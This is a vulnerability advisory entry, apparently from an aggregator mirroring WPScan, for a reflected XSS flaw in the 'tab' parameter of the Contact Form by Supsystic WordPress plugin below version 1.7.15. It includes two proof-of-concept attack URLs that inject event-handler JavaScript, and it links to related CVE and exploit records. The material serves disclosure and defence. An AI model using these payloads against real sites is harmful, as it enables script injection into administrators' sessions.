Lucene search
0xB9WPVDB-ID:1301123C-5E63-432A-AB90-3221CA532D9CHistoryApr 19, 2021 - 12:00 a.m.
Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)
2021-04-1900:00:00
0xB9
wpscan.com
4
The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
PoC
/wp-admin/admin.php?page=contact-form-supsystic&tab;=“onmouseover=alert(1)// /wp-admin/admin.php?page=contact-form-supsystic&tab;=”+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
| CPE | Name | Operator | Version |
|---|---|---|---|
| contact-form-by-supsystic | lt | 1.7.15 |
Related
packetstorm
packetstorm
WordPress Contact Form 1.7.14 Cross Site Scripting
2021-09-28 00:00:00
prion
prion
Cross site scripting
2021-05-05 19:15:00
patchstack
patchstack
wpexploit
wpexploit
Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)
2021-04-19 00:00:00
nuclei
nuclei
WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
2021-09-28 17:07:40
zdt
zdt
cve
cve
CVE-2021-24276
2021-05-05 19:15:00
exploitdb
exploitdb
WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
2021-09-28 00:00:00
Related for WPVDB-ID:1301123C-5E63-432A-AB90-3221CA532D9C